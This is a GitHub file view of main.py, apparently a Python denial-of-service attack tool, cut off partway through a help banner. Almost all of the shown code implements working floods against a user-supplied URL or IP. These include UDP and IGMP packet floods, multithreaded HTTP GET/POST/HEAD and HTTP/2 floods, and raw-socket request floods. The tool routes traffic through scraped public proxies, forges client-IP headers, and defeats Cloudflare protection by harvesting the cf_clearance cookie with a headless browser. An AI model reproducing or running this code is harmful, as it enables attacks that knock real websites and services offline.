-
Notifications
You must be signed in to change notification settings - Fork 282
/
main.py
1215 lines (1144 loc) · 59.3 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# -*- coding: utf-8 -*-
from os import system, name
import os, threading, requests, sys, cloudscraper, datetime, time, socket, socks, ssl, random, httpx
from urllib.parse import urlparse
from requests.cookies import RequestsCookieJar
import undetected_chromedriver as webdriver
from sys import stdout
from colorama import Fore, init
def countdown(t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
while True:
if (until - datetime.datetime.now()).total_seconds() > 0:
stdout.flush()
stdout.write("\r "+Fore.MAGENTA+"[*]"+Fore.WHITE+" Attack status => " + str((until - datetime.datetime.now()).total_seconds()) + " sec left ")
else:
stdout.flush()
stdout.write("\r "+Fore.MAGENTA+"[*]"+Fore.WHITE+" Attack Done ! \n")
return
#region get
def get_target(url):
url = url.rstrip()
target = {}
target['uri'] = urlparse(url).path
if target['uri'] == "":
target['uri'] = "/"
target['host'] = urlparse(url).netloc
target['scheme'] = urlparse(url).scheme
if ":" in urlparse(url).netloc:
target['port'] = urlparse(url).netloc.split(":")[1]
else:
target['port'] = "443" if urlparse(url).scheme == "https" else "80"
pass
return target
def get_proxylist(type):
if type == "SOCKS5":
r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&timeout=10000&country=all").text
r += requests.get("https://www.proxy-list.download/api/v1/get?type=socks5").text
open("./resources/socks5.txt", 'w').write(r)
r = r.rstrip().split('\r\n')
return r
elif type == "HTTP":
r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=http&timeout=10000&country=all").text
r += requests.get("https://www.proxy-list.download/api/v1/get?type=http").text
open("./resources/http.txt", 'w').write(r)
r = r.rstrip().split('\r\n')
return r
def get_proxies():
global proxies
if not os.path.exists("./proxy.txt"):
stdout.write(Fore.MAGENTA+" [*]"+Fore.WHITE+" You Need Proxy File ( ./proxy.txt )\n")
return False
proxies = open("./proxy.txt", 'r').read().split('\n')
return True
def get_cookie(url):
global useragent, cookieJAR, cookie
options = webdriver.ChromeOptions()
arguments = [
'--no-sandbox', '--disable-setuid-sandbox', '--disable-infobars', '--disable-logging', '--disable-login-animations',
'--disable-notifications', '--disable-gpu', '--headless', '--lang=ko_KR', '--start-maxmized',
'--user-agent=Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en'
]
for argument in arguments:
options.add_argument(argument)
driver = webdriver.Chrome(options=options)
driver.implicitly_wait(3)
driver.get(url)
for _ in range(60):
cookies = driver.get_cookies()
tryy = 0
for i in cookies:
if i['name'] == 'cf_clearance':
cookieJAR = driver.get_cookies()[tryy]
useragent = driver.execute_script("return navigator.userAgent")
cookie = f"{cookieJAR['name']}={cookieJAR['value']}"
driver.quit()
return True
else:
tryy += 1
pass
time.sleep(1)
driver.quit()
return False
def spoof(target):
addr = [192, 168, 0, 1]
d = '.'
addr[0] = str(random.randrange(11, 197))
addr[1] = str(random.randrange(0, 255))
addr[2] = str(random.randrange(0, 255))
addr[3] = str(random.randrange(2, 254))
spoofip = addr[0] + d + addr[1] + d + addr[2] + d + addr[3]
return (
"X-Forwarded-Proto: Http\r\n"
f"X-Forwarded-Host: {target['host']}, 1.1.1.1\r\n"
f"Via: {spoofip}\r\n"
f"Client-IP: {spoofip}\r\n"
f'X-Forwarded-For: {spoofip}\r\n'
f'Real-IP: {spoofip}\r\n'
)
##############################################################################################
def get_info_l7():
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"URL "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
target = input()
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"THREAD "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
thread = input()
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"TIME(s) "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
t = input()
return target, thread, t
def get_info_l4():
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"IP "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
target = input()
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"PORT "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
port = input()
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"THREAD "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
thread = input()
stdout.write("\x1b[38;2;255;20;147m • "+Fore.WHITE+"TIME(s) "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
t = input()
return target, port, thread, t
##############################################################################################
#region layer4
def runflooder(host, port, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
rand = random._urandom(4096)
for _ in range(int(th)):
try:
thd = threading.Thread(target=flooder, args=(host, port, rand, until))
thd.start()
except:
pass
def flooder(host, port, rand, until_datetime):
sock = socket.socket(socket.AF_INET, socket.IPPROTO_IGMP)
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
sock.sendto(rand, (host, int(port)))
except:
sock.close()
pass
def runsender(host, port, th, t, payload):
if payload == "":
payload = random._urandom(60000)
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
#payload = Payloads[method]
for _ in range(int(th)):
try:
thd = threading.Thread(target=sender, args=(host, port, until, payload))
thd.start()
except:
pass
def sender(host, port, until_datetime, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
sock.sendto(payload, (host, int(port)))
except:
sock.close()
pass
#endregion
#region METHOD
#region HEAD
def Launch(url, th, t, method): #testing
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
try:
exec("threading.Thread(target=Attack"+method+", args=(url, until)).start()")
except:
pass
def LaunchHEAD(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackHEAD, args=(url, until))
thd.start()
except:
pass
def AttackHEAD(url, until_datetime):
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
requests.head(url)
requests.head(url)
except:
pass
#endregion
#region POST
def LaunchPOST(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackPOST, args=(url, until))
thd.start()
except:
pass
def AttackPOST(url, until_datetime):
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
requests.post(url)
requests.post(url)
except:
pass
#endregion
#region RAW
def LaunchRAW(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackRAW, args=(url, until))
thd.start()
except:
pass
def AttackRAW(url, until_datetime):
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
requests.get(url)
requests.get(url)
except:
pass
#endregion
#region PXRAW
def LaunchPXRAW(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackPXRAW, args=(url, until))
thd.start()
except:
pass
def AttackPXRAW(url, until_datetime):
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
proxy = 'http://'+str(random.choice(list(proxies)))
proxy = {
'http': proxy,
'https': proxy,
}
try:
requests.get(url, proxies=proxy)
requests.get(url, proxies=proxy)
except:
pass
#endregion
#region PXSOC
def LaunchPXSOC(url, th, t):
target = get_target(url)
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
req = "GET " +target['uri'] + " HTTP/1.1\r\n"
req += "Host: " + target['host'] + "\r\n"
req += "User-Agent: " + random.choice(ua) + "\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Connection: Keep-Alive\r\n\r\n"
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackPXSOC, args=(target, until, req))
thd.start()
except:
pass
def AttackPXSOC(target, until_datetime, req):
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
proxy = random.choice(list(proxies)).split(":")
if target['scheme'] == 'https':
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1]))
s.connect((str(target['host']), int(target['port'])))
s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
else:
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1]))
s.connect((str(target['host']), int(target['port'])))
try:
for _ in range(100):
s.send(str.encode(req))
except:
s.close()
except:
return
#endregion
#region SOC
def LaunchSOC(url, th, t):
target = get_target(url)
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
req = "GET "+target['uri']+" HTTP/1.1\r\nHost: " + target['host'] + "\r\n"
req += "User-Agent: " + random.choice(ua) + "\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Connection: Keep-Alive\r\n\r\n"
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackSOC, args=(target, until, req))
thd.start()
except:
pass
def AttackSOC(target, until_datetime, req):
if target['scheme'] == 'https':
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target['host']), int(target['port'])))
s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
else:
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target['host']), int(target['port'])))
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
try:
for _ in range(100):
s.send(str.encode(req))
except:
s.close()
except:
pass
#endregion
def LaunchPPS(url, th, t):
target = get_target(url)
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackPPS, args=(target, until))
thd.start()
except:
pass
def AttackPPS(target, until_datetime): #
if target['scheme'] == 'https':
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target['host']), int(target['port'])))
s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
else:
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target['host']), int(target['port'])))
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
try:
for _ in range(100):
s.send(str.encode("GET / HTTP/1.1\r\n\r\n"))
except:
s.close()
except:
pass
def LaunchNULL(url, th, t):
target = get_target(url)
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
req = "GET "+target['uri']+" HTTP/1.1\r\nHost: " + target['host'] + "\r\n"
req += "User-Agent: null\r\n"
req += "Referrer: null\r\n"
req += spoof(target) + "\r\n"
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackNULL, args=(target, until, req))
thd.start()
except:
pass
def AttackNULL(target, until_datetime, req): #
if target['scheme'] == 'https':
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target['host']), int(target['port'])))
s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
else:
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target['host']), int(target['port'])))
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
try:
for _ in range(100):
s.send(str.encode(req))
except:
s.close()
except:
pass
def LaunchSPOOF(url, th, t):
target = get_target(url)
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
req = "GET "+target['uri']+" HTTP/1.1\r\nHost: " + target['host'] + "\r\n"
req += "User-Agent: " + random.choice(ua) + "\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += spoof(target)
req += "Connection: Keep-Alive\r\n\r\n"
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackSPOOF, args=(target, until, req))
thd.start()
except:
pass
def AttackSPOOF(target, until_datetime, req): #
if target['scheme'] == 'https':
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target['host']), int(target['port'])))
s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
else:
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target['host']), int(target['port'])))
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
try:
for _ in range(100):
s.send(str.encode(req))
except:
s.close()
except:
pass
def LaunchPXSPOOF(url, th, t, proxy):
target = get_target(url)
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
req = "GET "+target['uri']+" HTTP/1.1\r\nHost: " + target['host'] + "\r\n"
req += "User-Agent: " + random.choice(ua) + "\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += spoof(target)
req += "Connection: Keep-Alive\r\n\r\n"
for _ in range(int(th)):
try:
randomproxy = random.choice(proxy)
thd = threading.Thread(target=AttackPXSPOOF, args=(target, until, req, randomproxy))
thd.start()
except:
pass
def AttackPXSPOOF(target, until_datetime, req, proxy): #
proxy = proxy.split(":")
print(proxy)
try:
if target['scheme'] == 'https':
s = socks.socksocket()
#s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
s.connect((str(target['host']), int(target['port'])))
s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
else:
s = socks.socksocket()
#s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
s.connect((str(target['host']), int(target['port'])))
except:
return
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
try:
for _ in range(100):
s.send(str.encode(req))
except:
s.close()
except:
pass
#region CFB
def LaunchCFB(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
scraper = cloudscraper.create_scraper()
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackCFB, args=(url, until, scraper))
thd.start()
except:
pass
def AttackCFB(url, until_datetime, scraper):
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
scraper.get(url, timeout=15)
scraper.get(url, timeout=15)
except:
pass
#endregion
#region PXCFB
def LaunchPXCFB(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
scraper = cloudscraper.create_scraper()
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackPXCFB, args=(url, until, scraper))
thd.start()
except:
pass
def AttackPXCFB(url, until_datetime, scraper):
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
proxy = {
'http': 'http://'+str(random.choice(list(proxies))),
'https': 'http://'+str(random.choice(list(proxies))),
}
scraper.get(url, proxies=proxy)
scraper.get(url, proxies=proxy)
except:
pass
#endregion
#region CFPRO
def LaunchCFPRO(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
session = requests.Session()
scraper = cloudscraper.create_scraper(sess=session)
jar = RequestsCookieJar()
jar.set(cookieJAR['name'], cookieJAR['value'])
scraper.cookies = jar
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackCFPRO, args=(url, until, scraper))
thd.start()
except:
pass
def AttackCFPRO(url, until_datetime, scraper):
headers = {
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
'Accept-Encoding': 'deflate, gzip;q=1.0, *;q=0.5',
'Cache-Control': 'no-cache',
'Pragma': 'no-cache',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'TE': 'trailers',
}
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
scraper.get(url=url, headers=headers, allow_redirects=False)
scraper.get(url=url, headers=headers, allow_redirects=False)
except:
pass
#endregion
#region CFSOC
def LaunchCFSOC(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
target = get_target(url)
req = 'GET '+ target['uri'] +' HTTP/1.1\r\n'
req += 'Host: ' + target['host'] + '\r\n'
req += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'
req += 'Accept-Encoding: gzip, deflate, br\r\n'
req += 'Accept-Language: ko,ko-KR;q=0.9,en-US;q=0.8,en;q=0.7\r\n'
req += 'Cache-Control: max-age=0\r\n'
req += 'Cookie: ' + cookie + '\r\n'
req += f'sec-ch-ua: "Chromium";v="100", "Google Chrome";v="100"\r\n'
req += 'sec-ch-ua-mobile: ?0\r\n'
req += 'sec-ch-ua-platform: "Windows"\r\n'
req += 'sec-fetch-dest: empty\r\n'
req += 'sec-fetch-mode: cors\r\n'
req += 'sec-fetch-site: same-origin\r\n'
req += 'Connection: Keep-Alive\r\n'
req += 'User-Agent: ' + useragent + '\r\n\r\n\r\n'
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackCFSOC,args=(until, target, req,))
thd.start()
except:
pass
def AttackCFSOC(until_datetime, target, req):
if target['scheme'] == 'https':
packet = socks.socksocket()
packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
packet.connect((str(target['host']), int(target['port'])))
packet = ssl.create_default_context().wrap_socket(packet, server_hostname=target['host'])
else:
packet = socks.socksocket()
packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
packet.connect((str(target['host']), int(target['port'])))
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
for _ in range(10):
packet.send(str.encode(req))
except:
packet.close()
pass
#endregion
#region testzone
def attackSKY(url, timer, threads):
for i in range(int(threads)):
threading.Thread(target=LaunchSKY, args=(url, timer)).start()
def LaunchSKY(url, timer):
proxy = random.choice(proxies).strip().split(":")
timelol = time.time() + int(timer)
req = "GET / HTTP/1.1\r\nHost: " + urlparse(url).netloc + "\r\n"
req += "Cache-Control: no-cache\r\n"
req += "User-Agent: " + random.choice(ua) + "\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Sec-Fetch-Site: same-origin\r\n"
req += "Sec-GPC: 1\r\n"
req += "Sec-Fetch-Mode: navigate\r\n"
req += "Sec-Fetch-Dest: document\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "Connection: Keep-Alive\r\n\r\n"
while time.time() < timelol:
try:
s = socks.socksocket()
s.connect((str(urlparse(url).netloc), int(443)))
s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
ctx = ssl.SSLContext()
s = ctx.wrap_socket(s, server_hostname=urlparse(url).netloc)
s.send(str.encode(req))
try:
for _ in range(100):
s.send(str.encode(req))
s.send(str.encode(req))
except:
s.close()
except:
s.close()
def attackSTELLAR(url, timer, threads):
for i in range(int(threads)):
threading.Thread(target=LaunchSTELLAR, args=(url, timer)).start()
def LaunchSTELLAR(url, timer):
timelol = time.time() + int(timer)
req = "GET / HTTP/1.1\r\nHost: " + urlparse(url).netloc + "\r\n"
req += "Cache-Control: no-cache\r\n"
req += "User-Agent: " + random.choice(ua) + "\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Sec-Fetch-Site: same-origin\r\n"
req += "Sec-GPC: 1\r\n"
req += "Sec-Fetch-Mode: navigate\r\n"
req += "Sec-Fetch-Dest: document\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "Connection: Keep-Alive\r\n\r\n"
while time.time() < timelol:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(urlparse(url).netloc), int(443)))
ctx = ssl.create_default_context()
s = ctx.wrap_socket(s, server_hostname=urlparse(url).netloc)
s.send(str.encode(req))
try:
for _ in range(100):
s.send(str.encode(req))
s.send(str.encode(req))
except:
s.close()
except:
s.close()
#endregion
def LaunchHTTP2(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
threading.Thread(target=AttackHTTP2, args=(url, until)).start()
def AttackHTTP2(url, until_datetime):
headers = {
'User-Agent': random.choice(ua),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
'Accept-Encoding': 'deflate, gzip;q=1.0, *;q=0.5',
'Cache-Control': 'no-cache',
'Pragma': 'no-cache',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'TE': 'trailers',
}
client = httpx.Client(http2=True)
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
client.get(url, headers=headers)
client.get(url, headers=headers)
except:
pass
def LaunchPXHTTP2(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
threading.Thread(target=AttackHTTP2, args=(url, until)).start()
def AttackPXHTTP2(url, until_datetime):
headers = {
'User-Agent': random.choice(ua),
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
'Accept-Encoding': 'deflate, gzip;q=1.0, *;q=0.5',
'Cache-Control': 'no-cache',
'Pragma': 'no-cache',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'TE': 'trailers',
}
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
client = httpx.Client(
http2=True,
proxies={
'http://': 'http://'+random.choice(proxies),
'https://': 'http://'+random.choice(proxies),
}
)
client.get(url, headers=headers)
client.get(url, headers=headers)
except:
pass
def test1(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
target = get_target(url)
req = 'GET '+ target['uri'] +' HTTP/1.1\r\n'
req += 'Host: ' + target['host'] + '\r\n'
req += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'
req += 'Accept-Encoding: gzip, deflate, br\r\n'
req += 'Accept-Language: ko,ko-KR;q=0.9,en-US;q=0.8,en;q=0.7\r\n'
req += 'Cache-Control: max-age=0\r\n'
#req += 'Cookie: ' + cookie + '\r\n'
req += f'sec-ch-ua: "Chromium";v="100", "Google Chrome";v="100"\r\n'
req += 'sec-ch-ua-mobile: ?0\r\n'
req += 'sec-ch-ua-platform: "Windows"\r\n'
req += 'sec-fetch-dest: empty\r\n'
req += 'sec-fetch-mode: cors\r\n'
req += 'sec-fetch-site: same-origin\r\n'
req += 'Connection: Keep-Alive\r\n'
req += 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en\r\n\r\n\r\n'
for _ in range(int(th)):
try:
thd = threading.Thread(target=test2,args=(until, target, req,))
thd.start()
except:
pass
def test2(until_datetime, target, req):
if target['scheme'] == 'https':
packet = socks.socksocket()
packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
packet.connect((str(target['host']), int(target['port'])))
packet = ssl.create_default_context().wrap_socket(packet, server_hostname=target['host'])
else:
packet = socks.socksocket()
packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
packet.connect((str(target['host']), int(target['port'])))
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
for _ in range(10):
packet.send(str.encode(req))
except:
packet.close()
pass
#endregion
def clear():
if name == 'nt':
system('cls')
else:
system('clear')
##############################################################################################
def help():
clear()
stdout.write(" \n")
stdout.write(" "+Fore.LIGHTWHITE_EX +" ╦ ╦╔═╗╦ ╔═╗ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +" ╠═╣║╣ ║ ╠═╝ \n")
stdout.write(" "+Fore.LIGHTCYAN_EX +" ╩ ╩╚═╝╩═╝╩ \n")
